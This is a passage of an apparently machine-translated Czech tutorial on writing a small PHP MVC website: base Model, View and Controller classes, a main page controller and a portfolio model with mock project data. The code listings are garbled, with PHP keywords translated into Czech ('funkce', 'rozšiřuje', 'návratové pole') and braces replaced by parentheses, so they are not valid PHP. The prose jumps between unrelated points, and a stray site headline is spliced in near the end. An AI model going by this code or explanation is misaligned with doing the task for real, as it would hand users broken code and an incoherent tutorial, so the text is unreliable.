    Totéž se stane, pokud uživatel přistoupí k akci, která není popsána v ovladači.2.2. Vraťme se k implementaci MVC. Přejdeme do základní složky a do souboru route.php přidáme další tři soubory: model.php, view.php a controller.php


    Dovolte mi připomenout, že budou obsahovat základní třídy, které nyní začneme psát.

    Obsah souboru model.php
    model třídy ( veřejná funkce get_data ( ) ( ) )
    Třída modelu obsahuje jednu prázdnou metodu načítání dat, která bude v podřízených třídách přepsána. Když vytvoříme třídy potomků, vše bude jasnější.

    Obsah souboru view.php
    class View ( //veřejné $template_view; // zde můžete zadat výchozí obecný pohled. funkce vygenerovat ($content_view , $template_view , $data = null) ( /* if(is_array($data)) ( // převést pole elementy into variables extract($data); ) */ include "application/views/" .$template_view ; ) )
    Není těžké uhodnout, že metoda generovat určené k vytvoření pohledu. Jsou mu předány následující parametry:

  • $content_file - zobrazení zobrazující obsah stránky;
  • $template_file — šablona společná pro všechny stránky;
  • $data je pole obsahující prvky obsahu stránky. Obvykle se vyplňuje model.
  • Funkce include dynamicky propojuje obecnou šablonu (pohled), do které bude pohled vložen
    k zobrazení obsahu konkrétní stránky.

    V našem případě bude obecná šablona obsahovat záhlaví, nabídku, postranní panel a zápatí a obsah stránky bude obsažen v samostatném formuláři. Opět se to dělá pro jednoduchost.

    Obsah souboru controller.php
    class Controller ( public $model ; public $view ; funkce __construct () ( $this ->view = new View(); ) ) )
    Metoda akční_index- toto je akce volaná ve výchozím nastavení; při implementaci podřízených tříd ji přepíšeme.

    2.3. Implementace následných tříd Model a Controller, vytvoření View's Nyní začíná zábava! Naše webové stránky vizitek se budou skládat z následujících stránek:
  • Domov
  • Služby
  • Portfolio
  • Kontakty
  • A také - stránka „404“.
  • Každá stránka má svůj vlastní ovladač ze složky controllers a pohled ze složky views. Některé stránky mohou používat model nebo modely ze složky modelů.


    Na předchozím obrázku je samostatně zvýrazněn soubor template_view.php - jedná se o šablonu obsahující označení společné pro všechny stránky. V nejjednodušším případě by to mohlo vypadat takto:
    Domov
    Abychom webu dodali reprezentativní vzhled, vytvoříme šablonu CSS a integrujeme ji do našeho webu změnou struktury označení HTML a propojením souborů CSS a JavaScript:

    Na konci článku v sekci „Výsledek“ je odkaz na úložiště GitHub s projektem, ve kterém byly podniknuty kroky k integraci jednoduché šablony.

    2.3.1. Vytvoření hlavní stránky Začněme ovladačem controller_main.php , zde je jeho kód:
    class Controller_Main rozšiřuje Controller ( funkce action_index () ( $this ->view->generate("main_view.php" , "template_view.php" ); ) )
    V metodě generovat instance třídy View jsou předány názvy souborů obecné šablony a pohled s obsahem stránky.
    Kromě indexové akce může ovladač samozřejmě obsahovat i další akce.

    Soubor obecného zobrazení jsme zkontrolovali dříve. Zvažte obsahový soubor main_view.php:
    Vítejte! OLOLOSHA TEAM je tým prvotřídních specialistů v oblasti vývoje webových stránek s mnohaletými zkušenostmi se sběrem mexických masek, bronzových a kamenných soch z Indie a Cejlonu, basreliéfů a soch vytvořených mistry rovníkové Afriky pět nebo šest století před...
    To obsahuje jednoduché značkování bez volání PHP.
    Pro zobrazení hlavní stránky můžete použít jednu z následujících adres:

    • metody knihoven, které implementují abstrakci dat. Například metody knihovny PEAR MDB2;
    • metody ORM;
    • metody práce s NoSQL;
    • atd.
    • Pro jednoduchost zde nebudeme používat SQL dotazy ani ORM příkazy. Místo toho budeme emulovat skutečná data a okamžitě vrátíme pole výsledků.
      Umístěte soubor modelu model_portfolio.php do složky models. Zde je jeho obsah:
      class Model_Portfolio rozšiřuje Model ( veřejná funkce get_data () ( návratové pole (pole ("Rok" => "2012" , "Stránka" => "http://DunkelBeer.ru" , "Popis" => "Propagační stránka tmavé pivo Dunkel od německého výrobce Löwenbraü vyrobené v Rusku pivovarskou společností "SUN InBev." ), array ("Rok" => "2012" , "Stránka" => "http://ZopoMobile.ru" , "Popis " => "Ruskojazyčný katalog čínských telefonů od Zopo založených na OS Android a příslušenství k nim."), // todo ) ) )

      Třída řadiče modelu je obsažena v souboru controller_portfolio.php, zde je její kód:
      class Controller_Portfolio rozšiřuje Controller ( funkce __construct () ( $this ->model = new Model_Portfolio(); $this ->view = new View(); ) funkce action_index () ( $data = $this ->model->get_data( ); $this ->view->generate("portfolio_view.php" , "template_view.php" , $data ); ) )
      Do proměnné data pole vrácené metodou je zapsáno získat_data na které jsme se podívali dříve.
      Tato proměnná je pak předána jako parametr metody generovat, který dále obsahuje: název souboru s obecnou šablonou a název souboru obsahujícího pohled s obsahem stránky.

      Pohled obsahující obsah stránky je v souboru portfolio_view.php.
      Portfolio

      Všechny projekty v následující tabulce jsou fiktivní, takže se ani nepokoušejte následovat uvedené odkazy.

      2024 | Počítače pro každého – nastavení, instalace, obnova


      RokProjektPopis